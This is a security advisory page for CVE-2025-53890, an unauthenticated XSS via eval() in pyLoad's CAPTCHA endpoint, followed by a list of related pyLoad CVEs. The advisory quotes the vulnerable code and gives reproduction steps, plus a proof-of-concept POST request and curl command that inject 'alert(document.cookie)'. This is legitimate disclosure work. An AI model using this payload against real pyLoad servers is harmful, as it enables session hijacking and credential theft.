CVE-2025-53890: pyLoad vulnerable to XSS through insecure CAPTCHA
Summary An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
Published Jul 15, 2025
Affected packages
pyload-ng
- Ecosystem
- PyPI
- Affected
- < 0.20
- Fixed in
- 0.20
- Check
pip show pyload-ng
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
Details
The vulnerable code resides in
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}- The
onCaptchaResult()function directly passes CAPTCHA results (sent from the user) intoeval() - No sanitization or validation is performed on this input
- A malicious CAPTCHA result can include JavaScript such as
fetch()orchild_process.exec()in environments using NodeJS - Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it
Reproduction Methods
- Official Source Installation:
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload- Virtual Environment:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyloadCAPTCHA Endpoint Verification
Technical Clarification:
- The vulnerable endpoint is actually: ``
/interactive/captcha``
- Complete PoC Request:
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)- Curl Command Correction:
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"- Vulnerable Code Location: The eval() vulnerability is confirmed in: ``
src/pyload/webui/app/static/js/captcha-interactive.user.js``
Resources
- https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546
- OWASP: Avoid `eval()`
- #4586
Credited to odaysec.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-35459
pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
critical9.3No fixApr 4, 2026CVE-2026-33992
pyLoad: Server-Side Request Forgery via Download Link Submission Enables Cloud Metadata Exfiltration
critical9.3No fixMar 27, 2026CVE-2025-54802
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
critical9.8Aug 4, 2025CVE-2024-39205
pyload-ng vulnerable to RCE with js2py sandbox escape
critical9.8No fixSep 9, 2024CVE-2024-32880
pyLoad allows upload to arbitrary folder lead to RCE
critical9.1No fixApr 24, 2024CVE-2024-22416
Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
critical9.6Jan 19, 2024
